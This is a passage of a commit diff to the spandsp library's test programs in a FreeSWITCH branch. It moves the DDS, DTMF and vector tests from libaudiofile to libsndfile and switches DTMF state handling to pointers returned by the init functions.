 static complexf_t cvec_dot_prodf_dumb(const complexf_t x[], const complexf_t y[], int n)
 {
     int i;
@@ -79,7 +127,7 @@
             ||
             (ratio.im < 0.9999  ||  ratio.im > 1.0001))
         {
-            printf("vec_dot_prod() - (%f,%f) (%f,%f)\n", zsa.re, zsa.im, zsb.re, zsb.im);
+            printf("cvec_dot_prodf() - (%f,%f) (%f,%f)\n", zsa.re, zsa.im, zsb.re, zsb.im);
             printf("Tests failed\n");
             exit(2);
         }
@@ -90,6 +138,7 @@
 
 int main(int argc, char *argv[])
 {
+    test_cvec_mulf();
     test_cvec_dot_prodf();
 
     printf("Tests passed.\n");

Modified: freeswitch/branches/seven/libs/spandsp/tests/complex_vector_int_tests.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/complex_vector_int_tests.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/tests/complex_vector_int_tests.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: complex_vector_int_tests.c,v 1.1 2008/09/18 12:05:35 steveu Exp $
+ * $Id: complex_vector_int_tests.c,v 1.2 2009/04/26 07:00:39 steveu Exp $
  */
 
 #if defined(HAVE_CONFIG_H)
@@ -33,7 +33,6 @@
 #include <stdio.h>
 #include <fcntl.h>
 #include <string.h>
-#include <audiofile.h>
 
 #include "spandsp.h"
 

Modified: freeswitch/branches/seven/libs/spandsp/tests/dc_restore_tests.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/dc_restore_tests.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/tests/dc_restore_tests.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: dc_restore_tests.c,v 1.23 2008/05/13 13:17:25 steveu Exp $
+ * $Id: dc_restore_tests.c,v 1.24 2008/11/30 12:38:27 steveu Exp $
  */
 
 /*! \page dc_restore_tests_page DC restoration tests
@@ -38,6 +38,10 @@
 #include <memory.h>
 #include <time.h>
 
+//#if defined(WITH_SPANDSP_INTERNALS)
+#define SPANDSP_EXPOSE_INTERNAL_STRUCTURES
+//#endif
+
 #include "spandsp.h"
     
 int main (int argc, char *argv[])

Modified: freeswitch/branches/seven/libs/spandsp/tests/dds_tests.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/dds_tests.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/tests/dds_tests.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: dds_tests.c,v 1.24 2008/05/13 13:17:25 steveu Exp $
+ * $Id: dds_tests.c,v 1.26 2009/06/02 14:55:36 steveu Exp $
  */
 
 /*! \file */
@@ -43,9 +43,10 @@
 #include <stdio.h>
 #include <fcntl.h>
 #include <memory.h>
-#include <audiofile.h>
+#include <sndfile.h>
 
 #include "spandsp.h"
+#include "spandsp-sim.h"
 
 #define OUTPUT_FILE_NAME            "dds.wav"
 #define OUTPUT_FILE_NAME_COMPLEX    "complex_dds.wav"
@@ -60,8 +61,7 @@
     int outframes;
     complexf_t camp;
     int16_t buf[2*SAMPLES_PER_CHUNK];
-    AFfilehandle outhandle;
-    AFfilesetup filesetup;
+    SNDFILE *outhandle;
     power_meter_t meter;
     power_meter_t meter_i;
     power_meter_t meter_q;
@@ -70,22 +70,12 @@
     power_meter_init(&meter, 10);
 
     printf("Non-complex DDS tests.\n");
-    if ((filesetup = afNewFileSetup()) == AF_NULL_FILESETUP)
+    if ((outhandle = sf_open_telephony_write(OUTPUT_FILE_NAME, 1)) == NULL)
     {
-        fprintf(stderr, "    Failed to create file setup\n");
+        fprintf(stderr, "    Cannot create audio file '%s'\n", OUTPUT_FILE_NAME);
         exit(2);
     }
-    afInitSampleFormat(filesetup, AF_DEFAULT_TRACK, AF_SAMPFMT_TWOSCOMP, 16);
-    afInitRate(filesetup, AF_DEFAULT_TRACK, (float) SAMPLE_RATE);
-    afInitFileFormat(filesetup, AF_FILE_WAVE);
-    afInitChannels(filesetup, AF_DEFAULT_TRACK, 1);
 
-    if ((outhandle = afOpenFile(OUTPUT_FILE_NAME, "w", filesetup)) == AF_NULL_FILEHANDLE)
-    {
-        fprintf(stderr, "    Cannot create wave file '%s'\n", OUTPUT_FILE_NAME);
-        exit(2);
-    }
-
     phase = 0;
 
     printf("Test with 123.456789Hz.\n");
@@ -96,13 +86,10 @@
         buf[i] = alaw_to_linear(linear_to_alaw((dds(&phase, phase_inc)*scale) >> 15));
         power_meter_update(&meter, buf[i]);
     }
-    outframes = afWriteFrames(outhandle,
-                              AF_DEFAULT_TRACK,
-                              buf,
-                              SAMPLES_PER_CHUNK);
+    outframes = sf_writef_short(outhandle, buf, SAMPLES_PER_CHUNK);
     if (outframes != SAMPLES_PER_CHUNK)
     {
-        fprintf(stderr, "    Error writing wave file\n");
+        fprintf(stderr, "    Error writing audio file\n");
         exit(2);
     }
     printf("Level is %fdBOv/%fdBm0\n", power_meter_current_dbov(&meter), power_meter_current_dbm0(&meter));
@@ -119,13 +106,10 @@
         buf[i] = alaw_to_linear(linear_to_alaw(dds(&phase, phase_inc)));
         power_meter_update(&meter, buf[i]);
     }
-    outframes = afWriteFrames(outhandle,
-                              AF_DEFAULT_TRACK,
-                              buf,
-                              SAMPLES_PER_CHUNK);
+    outframes = sf_writef_short(outhandle, buf, SAMPLES_PER_CHUNK);
     if (outframes != SAMPLES_PER_CHUNK)
     {
-        fprintf(stderr, "    Error writing wave file\n");
+        fprintf(stderr, "    Error writing audio file\n");
         exit(2);
     }
     printf("Level is %fdBOv/%fdBm0\n", power_meter_current_dbov(&meter), power_meter_current_dbm0(&meter));
@@ -144,13 +128,10 @@
         buf[i] = alaw_to_linear(linear_to_alaw((dds(&phase, phase_inc)*scale) >> 15));
         power_meter_update(&meter, buf[i]);
     }
-    outframes = afWriteFrames(outhandle,
-                              AF_DEFAULT_TRACK,
-                              buf,
-                              SAMPLES_PER_CHUNK);
+    outframes = sf_writef_short(outhandle, buf, SAMPLES_PER_CHUNK);
     if (outframes != SAMPLES_PER_CHUNK)
     {
-        fprintf(stderr, "    Error writing wave file\n");
+        fprintf(stderr, "    Error writing audio file\n");
         exit(2);
     }
     printf("Level is %fdBOv/%fdBm0\n", power_meter_current_dbov(&meter), power_meter_current_dbm0(&meter));
@@ -167,13 +148,10 @@
         buf[i] = alaw_to_linear(linear_to_alaw(dds(&phase, phase_inc)));
         power_meter_update(&meter, buf[i]);
     }
-    outframes = afWriteFrames(outhandle,
-                              AF_DEFAULT_TRACK,
-                              buf,
-                              SAMPLES_PER_CHUNK);
+    outframes = sf_writef_short(outhandle, buf, SAMPLES_PER_CHUNK);
     if (outframes != SAMPLES_PER_CHUNK)
     {
-        fprintf(stderr, "    Error writing wave file\n");
+        fprintf(stderr, "    Error writing audio file\n");
         exit(2);
     }
     printf("Level is %fdBOv/%fdBm0\n", power_meter_current_dbov(&meter), power_meter_current_dbm0(&meter));
@@ -183,30 +161,19 @@
         exit(2);
     }
 
-    if (afCloseFile(outhandle) != 0)
+    if (sf_close(outhandle) != 0)
     {
-        fprintf(stderr, "    Cannot close wave file '%s'\n", OUTPUT_FILE_NAME);
+        fprintf(stderr, "    Cannot close audio file '%s'\n", OUTPUT_FILE_NAME);
         exit(2);
     }
-    afFreeFileSetup(filesetup);
 
     printf("Complex DDS tests,\n");
-    if ((filesetup = afNewFileSetup()) == AF_NULL_FILESETUP)
+    if ((outhandle = sf_open_telephony_write(OUTPUT_FILE_NAME_COMPLEX, 2)) == NULL)
     {
-        fprintf(stderr, "    Failed to create file setup\n");
+        fprintf(stderr, "    Cannot create audio file '%s'\n", OUTPUT_FILE_NAME_COMPLEX);
         exit(2);
     }
-    afInitSampleFormat(filesetup, AF_DEFAULT_TRACK, AF_SAMPFMT_TWOSCOMP, 16);
-    afInitRate(filesetup, AF_DEFAULT_TRACK, (float) SAMPLE_RATE);
-    afInitFileFormat(filesetup, AF_FILE_WAVE);
-    afInitChannels(filesetup, AF_DEFAULT_TRACK, 2);
 
-    if ((outhandle = afOpenFile(OUTPUT_FILE_NAME_COMPLEX, "w", filesetup)) == AF_NULL_FILEHANDLE)
-    {
-        fprintf(stderr, "    Cannot create wave file '%s'\n", OUTPUT_FILE_NAME_COMPLEX);
-        exit(2);
-    }
-
     power_meter_init(&meter_i, 7);
     power_meter_init(&meter_q, 7);
 
@@ -220,13 +187,10 @@
         power_meter_update(&meter_i, buf[2*i]);
         power_meter_update(&meter_q, buf[2*i]);
     }
-    outframes = afWriteFrames(outhandle,
-                              AF_DEFAULT_TRACK,
-                              buf,
-                              SAMPLES_PER_CHUNK);
+    outframes = sf_writef_short(outhandle, buf, SAMPLES_PER_CHUNK);
     if (outframes != SAMPLES_PER_CHUNK)
     {
-        fprintf(stderr, "    Error writing wave file\n");
+        fprintf(stderr, "    Error writing audio file\n");
         exit(2);
     }
     printf("Level is %fdBOv/%fdBm0, %fdBOv/%fdBm0\n",
@@ -242,12 +206,11 @@
         exit(2);
     }
 
-    if (afCloseFile(outhandle) != 0)
+    if (sf_close(outhandle) != 0)
     {
-        fprintf(stderr, "    Cannot close wave file '%s'\n", OUTPUT_FILE_NAME_COMPLEX);
+        fprintf(stderr, "    Cannot close audio file '%s'\n", OUTPUT_FILE_NAME_COMPLEX);
         exit(2);
     }
-    afFreeFileSetup(filesetup);
 
     printf("Tests passed.\n");
     return  0;

Modified: freeswitch/branches/seven/libs/spandsp/tests/dtmf_rx_tests.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/dtmf_rx_tests.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/tests/dtmf_rx_tests.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -23,7 +23,7 @@
  * along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: dtmf_rx_tests.c,v 1.42 2008/08/29 09:28:13 steveu Exp $
+ * $Id: dtmf_rx_tests.c,v 1.45 2009/05/30 15:23:13 steveu Exp $
  */
 
 /*
@@ -94,8 +94,12 @@
 #include <fcntl.h>
 #include <unistd.h>
 #include <time.h>
-#include <audiofile.h>
+#include <sndfile.h>
 
+//#if defined(WITH_SPANDSP_INTERNALS)
+#define SPANDSP_EXPOSE_INTERNAL_STRUCTURES
+//#endif
+
 #include "spandsp.h"
 #include "spandsp-sim.h"
 
@@ -314,12 +318,12 @@
     int nminus;
     float rrb;
     float rcfo;
-    dtmf_rx_state_t dtmf_state;
+    dtmf_rx_state_t *dtmf_state;
     awgn_state_t noise_source;
 
-    dtmf_rx_init(&dtmf_state, NULL, NULL);
+    dtmf_state = dtmf_rx_init(NULL, NULL, NULL);
     if (use_dialtone_filter)
-        dtmf_rx_parms(&dtmf_state, TRUE, -1, -1, -99);
+        dtmf_rx_parms(dtmf_state, TRUE, -1, -1, -99);
 
     /* Test 1: Mitel's test 1 isn't really a test. Its a calibration step,
        which has no meaning here. */
@@ -342,9 +346,9 @@
         {
             len = my_dtmf_generate(amp, digit);
             codec_munge(munge, amp, len);
-            dtmf_rx(&dtmf_state, amp, len);
+            dtmf_rx(dtmf_state, amp, len);
 
-            actual = dtmf_rx_get(&dtmf_state, buf, 128);
+            actual = dtmf_rx_get(dtmf_state, buf, 128);
 
             if (actual != 1  ||  buf[0] != digit[0])
             {
@@ -396,16 +400,16 @@
             my_dtmf_gen_init((float) i/1000.0f, -17, 0.0f, -17, 50, 50);
             len = my_dtmf_generate(amp, digit);
             codec_munge(munge, amp, len);
-            dtmf_rx(&dtmf_state, amp, len);
-            nplus += dtmf_rx_get(&dtmf_state, buf, 128);
+            dtmf_rx(dtmf_state, amp, len);
+            nplus += dtmf_rx_get(dtmf_state, buf, 128);
         }
         for (nminus = 0, i = -1;  i >= -60;  i--)
         {
             my_dtmf_gen_init((float) i/1000.0f, -17, 0.0f, -17, 50, 50);
             len = my_dtmf_generate(amp, digit);
             codec_munge(munge, amp, len);
-            dtmf_rx(&dtmf_state, amp, len);
-            nminus += dtmf_rx_get(&dtmf_state, buf, 128);
+            dtmf_rx(dtmf_state, amp, len);
+            nminus += dtmf_rx_get(dtmf_state, buf, 128);
         }
         rrb = (float) (nplus + nminus)/10.0f;
         rcfo = (float) (nplus - nminus)/10.0f;
@@ -426,16 +430,16 @@
             my_dtmf_gen_init(0.0f, -17, (float) i/1000.0f, -17, 50, 50);
             len = my_dtmf_generate(amp, digit);
             codec_munge(munge, amp, len);
-            dtmf_rx(&dtmf_state, amp, len);
-            nplus += dtmf_rx_get(&dtmf_state, buf, 128);
+            dtmf_rx(dtmf_state, amp, len);
+            nplus += dtmf_rx_get(dtmf_state, buf, 128);
         }
         for (nminus = 0, i = -1;  i >= -60;  i--)
         {
             my_dtmf_gen_init(0.0f, -17, (float) i/1000.0f, -17, 50, 50);
             len = my_dtmf_generate(amp, digit);
             codec_munge(munge, amp, len);
-            dtmf_rx(&dtmf_state, amp, len);
-            nminus += dtmf_rx_get(&dtmf_state, buf, 128);
+            dtmf_rx(dtmf_state, amp, len);
+            nminus += dtmf_rx_get(dtmf_state, buf, 128);
         }
         rrb = (float) (nplus + nminus)/10.0f;
         rcfo = (float) (nplus - nminus)/10.0f;
@@ -488,8 +492,8 @@
 
             len = my_dtmf_generate(amp, digit);
             codec_munge(munge, amp, len);
-            dtmf_rx(&dtmf_state, amp, len);
-            nplus += dtmf_rx_get(&dtmf_state, buf, 128);
+            dtmf_rx(dtmf_state, amp, len);
+            nplus += dtmf_rx_get(dtmf_state, buf, 128);
         }
         printf("    %c normal twist  = %.2fdB\n", digit[0], (float) nplus/10.0);
         if (nplus < 80)
@@ -503,8 +507,8 @@
 
             len = my_dtmf_generate(amp, digit);
             codec_munge(munge, amp, len);
-            dtmf_rx(&dtmf_state, amp, len);
-            nminus += dtmf_rx_get(&dtmf_state, buf, 128);
+            dtmf_rx(dtmf_state, amp, len);
+            nminus += dtmf_rx_get(dtmf_state, buf, 128);
         }
         printf("    %c reverse twist = %.2fdB\n", digit[0], (float) nminus/10.0);
         if (nminus < 40)
@@ -531,8 +535,8 @@
 
         len = my_dtmf_generate(amp, "1");
         codec_munge(munge, amp, len);
-        dtmf_rx(&dtmf_state, amp, len);
-        nplus += dtmf_rx_get(&dtmf_state, buf, 128);
+        dtmf_rx(dtmf_state, amp, len);
+        nplus += dtmf_rx_get(dtmf_state, buf, 128);
     }
     printf("    Dynamic range = %ddB\n", nplus);
     /* We ought to set some pass/fail condition, even if Mitel did not. If
@@ -560,8 +564,8 @@
 
         len = my_dtmf_generate(amp, "1");
         codec_munge(munge, amp, len);
-        dtmf_rx(&dtmf_state, amp, len);
-        nplus += dtmf_rx_get(&dtmf_state, buf, 128);
+        dtmf_rx(dtmf_state, amp, len);
+        nplus += dtmf_rx_get(dtmf_state, buf, 128);
     }
     printf("    Guard time = %dms\n", (500 - nplus)/10);
     printf("    Passed\n");
@@ -593,9 +597,9 @@
                 amp[sample] = saturate(amp[sample] + awgn(&noise_source));
             
             codec_munge(munge, amp, len);
-            dtmf_rx(&dtmf_state, amp, len);
+            dtmf_rx(dtmf_state, amp, len);
 
-            if (dtmf_rx_get(&dtmf_state, buf, 128) != 1)
+            if (dtmf_rx_get(dtmf_state, buf, 128) != 1)
                 break;
         }
         if (i == 1000)
@@ -619,17 +623,17 @@
     int hits;
     int hit_types[256];
     char buf[128 + 1];
-    AFfilehandle inhandle;
+    SNDFILE *inhandle;
     int frames;
-    dtmf_rx_state_t dtmf_state;
+    dtmf_rx_state_t *dtmf_state;
 
-    dtmf_rx_init(&dtmf_state, NULL, NULL);
+    dtmf_state = dtmf_rx_init(NULL, NULL, NULL);
     if (use_dialtone_filter)
-        dtmf_rx_parms(&dtmf_state, TRUE, -1, -1, -99);
+        dtmf_rx_parms(dtmf_state, TRUE, -1, -1, -99);
 
     /* The remainder of the Mitel tape is the talk-off test */
     /* Here we use the Bellcore test tapes (much tougher), in six
-       wave files - 1 from each side of the original 3 cassette tapes */
+      files - 1 from each side of the original 3 cassette tapes */
     /* Bellcore say you should get no more than 470 false detections with
        a good receiver. Dialogic claim 20. Of course, we can do better than
        that, eh? */
@@ -637,16 +641,16 @@
     memset(hit_types, '\0', sizeof(hit_types));
     for (j = 0;  bellcore_files[j][0];  j++)
     {
-        if ((inhandle = afOpenFile_telephony_read(bellcore_files[j], 1)) == AF_NULL_FILEHANDLE)
+        if ((inhandle = sf_open_telephony_read(bellcore_files[j], 1)) == NULL)
         {
             printf("    Cannot open speech file '%s'\n", bellcore_files[j]);
             exit(2);
         }
         hits = 0;
-        while ((frames = afReadFrames(inhandle, AF_DEFAULT_TRACK, amp, SAMPLE_RATE)))
+        while ((frames = sf_readf_short(inhandle, amp, SAMPLE_RATE)))
         {
-            dtmf_rx(&dtmf_state, amp, frames);
-            len = dtmf_rx_get(&dtmf_state, buf, 128);
+            dtmf_rx(dtmf_state, amp, frames);
+            len = dtmf_rx_get(dtmf_state, buf, 128);
             if (len > 0)
             {
                 for (i = 0;  i < len;  i++)
@@ -654,7 +658,7 @@
                 hits += len;
             }
         }
-        if (afCloseFile(inhandle) != 0)
+        if (sf_close(inhandle) != 0)
         {
             printf("    Cannot close speech file '%s'\n", bellcore_files[j]);
             exit(2);
@@ -686,13 +690,13 @@
     int len;
     int sample;
     char buf[128 + 1];
-    dtmf_rx_state_t dtmf_state;
+    dtmf_rx_state_t *dtmf_state;
     tone_gen_descriptor_t dial_tone_desc;
     tone_gen_state_t dial_tone;
 
-    dtmf_rx_init(&dtmf_state, NULL, NULL);
+    dtmf_state = dtmf_rx_init(NULL, NULL, NULL);
     if (use_dialtone_filter)
-        dtmf_rx_parms(&dtmf_state, TRUE, -1, -1, -99);
+        dtmf_rx_parms(dtmf_state, TRUE, -1, -1, -99);
 
     /* Test dial tone tolerance */
     printf("Test: Dial tone tolerance.\n");
@@ -710,9 +714,9 @@
             for (sample = 0;  sample < len;  sample++)
                 amp[sample] = saturate(amp[sample] + amp2[sample]);
             codec_munge(munge, amp, len);
-            dtmf_rx(&dtmf_state, amp, len);
+            dtmf_rx(dtmf_state, amp, len);
 
-            if (dtmf_rx_get(&dtmf_state, buf, 128) != strlen(ALL_POSSIBLE_DIGITS))
+            if (dtmf_rx_get(dtmf_state, buf, 128) != strlen(ALL_POSSIBLE_DIGITS))
                 break;
         }
         if (i != 10)
@@ -736,23 +740,23 @@
     int j;
     int len;
     int sample;
-    dtmf_rx_state_t dtmf_state;
+    dtmf_rx_state_t *dtmf_state;
 
     /* Test the callback mode for delivering detected digits */
     printf("Test: Callback digit delivery mode.\n");
     callback_hit = FALSE;
     callback_ok = TRUE;
     callback_roll = 0;
-    dtmf_rx_init(&dtmf_state, digit_delivery, (void *) 0x12345678);
+    dtmf_state = dtmf_rx_init(NULL, digit_delivery, (void *) 0x12345678);
     if (use_dialtone_filter)
-        dtmf_rx_parms(&dtmf_state, TRUE, -1, -1, -99);
+        dtmf_rx_parms(dtmf_state, TRUE, -1, -1, -99);
     my_dtmf_gen_init(0.0f, DEFAULT_DTMF_TX_LEVEL, 0.0f, DEFAULT_DTMF_TX_LEVEL, DEFAULT_DTMF_TX_ON_TIME, DEFAULT_DTMF_TX_OFF_TIME);
     for (i = 1;  i < 10;  i++)
     {
         len = 0;
         for (j = 0;  j < i;  j++)
             len += my_dtmf_generate(amp + len, ALL_POSSIBLE_DIGITS);
-        dtmf_rx(&dtmf_state, amp, len);
+        dtmf_rx(dtmf_state, amp, len);
         if (!callback_hit  ||  !callback_ok)
             break;
     }
@@ -768,10 +772,10 @@
     callback_hit = FALSE;
     callback_ok = TRUE;
     callback_roll = 0;
-    dtmf_rx_init(&dtmf_state, NULL, NULL);
-    dtmf_rx_set_realtime_callback(&dtmf_state, digit_status, (void *) 0x12345678);
+    dtmf_rx_init(dtmf_state, NULL, NULL);
+    dtmf_rx_set_realtime_callback(dtmf_state, digit_status, (void *) 0x12345678);
     if (use_dialtone_filter)
-        dtmf_rx_parms(&dtmf_state, TRUE, -1, -1, -99);
+        dtmf_rx_parms(dtmf_state, TRUE, -1, -1, -99);
     my_dtmf_gen_init(0.0f, DEFAULT_DTMF_TX_LEVEL, 0.0f, DEFAULT_DTMF_TX_LEVEL, DEFAULT_DTMF_TX_ON_TIME, DEFAULT_DTMF_TX_OFF_TIME);
     step = 0;
     for (i = 1;  i < 10;  i++)
@@ -781,7 +785,7 @@
             len += my_dtmf_generate(amp + len, ALL_POSSIBLE_DIGITS);
         for (sample = 0, j = SAMPLES_PER_CHUNK;  sample < len;  sample += SAMPLES_PER_CHUNK, j = ((len - sample) >= SAMPLES_PER_CHUNK)  ?  SAMPLES_PER_CHUNK  :  (len - sample))
         {
-            dtmf_rx(&dtmf_state, &amp[sample], j);
+            dtmf_rx(dtmf_state, &amp[sample], j);
             if (!callback_ok)
                 break;
             step += j;
@@ -800,32 +804,32 @@
 static void decode_test(const char *test_file)
 {
     int16_t amp[SAMPLES_PER_CHUNK];
-    AFfilehandle inhandle;
-    dtmf_rx_state_t dtmf_state;
+    SNDFILE *inhandle;
+    dtmf_rx_state_t *dtmf_state;
     char buf[128 + 1];
     int actual;
     int samples;
     int total;
 
-    dtmf_rx_init(&dtmf_state, NULL, NULL);
+    dtmf_state = dtmf_rx_init(NULL, NULL, NULL);
     if (use_dialtone_filter)
-        dtmf_rx_parms(&dtmf_state, TRUE, -1, -1, -99);
+        dtmf_rx_parms(dtmf_state, TRUE, -1, -1, -99);
 
-    /* We will decode the audio from a wave file. */
+    /* We will decode the audio from a file. */
     
-    if ((inhandle = afOpenFile_telephony_read(decode_test_file, 1)) == AF_NULL_FILEHANDLE)
+    if ((inhandle = sf_open_telephony_read(decode_test_file, 1)) == NULL)
     {
-        fprintf(stderr, "    Cannot open wave file '%s'\n", decode_test_file);
+        fprintf(stderr, "    Cannot open audio file '%s'\n", decode_test_file);
         exit(2);
     }
     
     total = 0;
-    while ((samples = afReadFrames(inhandle, AF_DEFAULT_TRACK, amp, SAMPLES_PER_CHUNK)) > 0)
+    while ((samples = sf_readf_short(inhandle, amp, SAMPLES_PER_CHUNK)) > 0)
     {
         codec_munge(munge, amp, samples);
-        dtmf_rx(&dtmf_state, amp, samples);
-        //printf("Status 0x%X\n", dtmf_rx_status(&dtmf_state));
-        if ((actual = dtmf_rx_get(&dtmf_state, buf, 128)) > 0)
+        dtmf_rx(dtmf_state, amp, samples);
+        //printf("Status 0x%X\n", dtmf_rx_status(dtmf_state));
+        if ((actual = dtmf_rx_get(dtmf_state, buf, 128)) > 0)
             printf("Received '%s'\n", buf);
         total += actual;
     }

Modified: freeswitch/branches/seven/libs/spandsp/tests/dtmf_tx_tests.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/dtmf_tx_tests.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/tests/dtmf_tx_tests.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: dtmf_tx_tests.c,v 1.20 2008/08/16 15:24:15 steveu Exp $
+ * $Id: dtmf_tx_tests.c,v 1.23 2009/05/30 15:23:13 steveu Exp $
  */
 
 /*! \file */
@@ -44,8 +44,12 @@
 #include <stdio.h>
 #include <fcntl.h>
 #include <time.h>
-#include <audiofile.h>
+#include <sndfile.h>
 
+//#if defined(WITH_SPANDSP_INTERNALS)
+#define SPANDSP_EXPOSE_INTERNAL_STRUCTURES
+//#endif
+
 #include "spandsp.h"
 #include "spandsp-sim.h"
 
@@ -53,55 +57,67 @@
 
 int main(int argc, char *argv[])
 {
-    dtmf_tx_state_t gen;
+    dtmf_tx_state_t *gen;
     int16_t amp[16384];
     int len;
-    AFfilehandle outhandle;
+    SNDFILE *outhandle;
     int outframes;
     int add_digits;
 
-    if ((outhandle = afOpenFile_telephony_write(OUTPUT_FILE_NAME, 1)) == AF_NULL_FILEHANDLE)
+    if ((outhandle = sf_open_telephony_write(OUTPUT_FILE_NAME, 1)) == NULL)
     {
-        fprintf(stderr, "    Cannot open wave file '%s'\n", OUTPUT_FILE_NAME);
+        fprintf(stderr, "    Cannot open audio file '%s'\n", OUTPUT_FILE_NAME);
         exit(2);
     }
 
-    dtmf_tx_init(&gen);
-    len = dtmf_tx(&gen, amp, 16384);
+    gen = dtmf_tx_init(NULL);
+    len = dtmf_tx(gen, amp, 16384);
     printf("Generated %d samples\n", len);
-    outframes = afWriteFrames(outhandle, AF_DEFAULT_TRACK, amp, len);
-    if (dtmf_tx_put(&gen, "123", -1))
+    outframes = sf_writef_short(outhandle, amp, len);
+    if (dtmf_tx_put(gen, "123", -1))
+    {
         printf("Ooops\n");
-    len = dtmf_tx(&gen, amp, 16384);
+        exit(2);
+    }
+    len = dtmf_tx(gen, amp, 16384);
     printf("Generated %d samples\n", len);
-    outframes = afWriteFrames(outhandle, AF_DEFAULT_TRACK, amp, len);
-    if (dtmf_tx_put(&gen, "456", -1))
+    outframes = sf_writef_short(outhandle, amp, len);
+    if (dtmf_tx_put(gen, "456", -1))
+    {
         printf("Ooops\n");
-    len = dtmf_tx(&gen, amp, 160);
+        exit(2);
+    }
+    len = dtmf_tx(gen, amp, 160);
     printf("Generated %d samples\n", len);
-    outframes = afWriteFrames(outhandle, AF_DEFAULT_TRACK, amp, len);
-    if (dtmf_tx_put(&gen, "789", -1))
+    outframes = sf_writef_short(outhandle, amp, len);
+    if (dtmf_tx_put(gen, "789", -1))
+    {
         printf("Ooops\n");
-    len = dtmf_tx(&gen, amp, 160);
+        exit(2);
+    }
+    len = dtmf_tx(gen, amp, 160);
     printf("Generated %d samples\n", len);
-    outframes = afWriteFrames(outhandle, AF_DEFAULT_TRACK, amp, len);
-    if (dtmf_tx_put(&gen, "*#", -1))
+    outframes = sf_writef_short(outhandle, amp, len);
+    if (dtmf_tx_put(gen, "*#", -1))
+    {
         printf("Ooops\n");
-    len = dtmf_tx(&gen, amp, 160);
+        exit(2);
+    }
+    len = dtmf_tx(gen, amp, 160);
     printf("Generated %d samples\n", len);
-    outframes = afWriteFrames(outhandle, AF_DEFAULT_TRACK, amp, len);
+    outframes = sf_writef_short(outhandle, amp, len);
     add_digits = 1;
     do
     {
-        len = dtmf_tx(&gen, amp, 160);
+        len = dtmf_tx(gen, amp, 160);
         printf("Generated %d samples\n", len);
         if (len > 0)
         {
-            outframes = afWriteFrames(outhandle, AF_DEFAULT_TRACK, amp, len);
+            outframes = sf_writef_short(outhandle, amp, len);
         }
         if (add_digits)
         {
-            if (dtmf_tx_put(&gen, "1234567890", -1))
+            if (dtmf_tx_put(gen, "1234567890", -1))
             {
                 printf("Digit buffer full\n");
                 add_digits = 0;
@@ -110,68 +126,89 @@
     }
     while (len > 0);
 
-    dtmf_tx_init(&gen);
-    len = dtmf_tx(&gen, amp, 16384);
+    dtmf_tx_init(gen);
+    len = dtmf_tx(gen, amp, 16384);
     printf("Generated %d samples\n", len);
-    outframes = afWriteFrames(outhandle, AF_DEFAULT_TRACK, amp, len);
-    if (dtmf_tx_put(&gen, "123", -1))
+    outframes = sf_writef_short(outhandle, amp, len);
+    if (dtmf_tx_put(gen, "123", -1))
+    {
         printf("Ooops\n");
-    len = dtmf_tx(&gen, amp, 16384);
+        exit(2);
+    }
+    len = dtmf_tx(gen, amp, 16384);
     printf("Generated %d samples\n", len);
-    outframes = afWriteFrames(outhandle, AF_DEFAULT_TRACK, amp, len);
-    if (dtmf_tx_put(&gen, "456", -1))
+    outframes = sf_writef_short(outhandle, amp, len);
+    if (dtmf_tx_put(gen, "456", -1))
+    {
         printf("Ooops\n");
-    len = dtmf_tx(&gen, amp, 160);
+        exit(2);
+    }
+    len = dtmf_tx(gen, amp, 160);
     printf("Generated %d samples\n", len);
-    outframes = afWriteFrames(outhandle, AF_DEFAULT_TRACK, amp, len);
-    if (dtmf_tx_put(&gen, "789", -1))
+    outframes = sf_writef_short(outhandle, amp, len);
+    if (dtmf_tx_put(gen, "789", -1))
+    {
         printf("Ooops\n");
-    len = dtmf_tx(&gen, amp, 160);
+        exit(2);
+    }
+    len = dtmf_tx(gen, amp, 160);
     printf("Generated %d samples\n", len);
-    outframes = afWriteFrames(outhandle, AF_DEFAULT_TRACK, amp, len);
-    if (dtmf_tx_put(&gen, "0*#", -1))
+    outframes = sf_writef_short(outhandle, amp, len);
+    if (dtmf_tx_put(gen, "0*#", -1))
+    {
         printf("Ooops\n");
-    len = dtmf_tx(&gen, amp, 160);
+        exit(2);
+    }
+    len = dtmf_tx(gen, amp, 160);
     printf("Generated %d samples\n", len);
-    outframes = afWriteFrames(outhandle, AF_DEFAULT_TRACK, amp, len);
-    if (dtmf_tx_put(&gen, "ABCD", -1))
+    outframes = sf_writef_short(outhandle, amp, len);
+    if (dtmf_tx_put(gen, "ABCD", -1))
+    {
         printf("Ooops\n");
-    len = dtmf_tx(&gen, amp, 160);
+        exit(2);
+    }
+    len = dtmf_tx(gen, amp, 160);
     printf("Generated %d samples\n", len);
-    outframes = afWriteFrames(outhandle, AF_DEFAULT_TRACK, amp, len);
+    outframes = sf_writef_short(outhandle, amp, len);
 
     /* Try modifying the level and length of the digits */
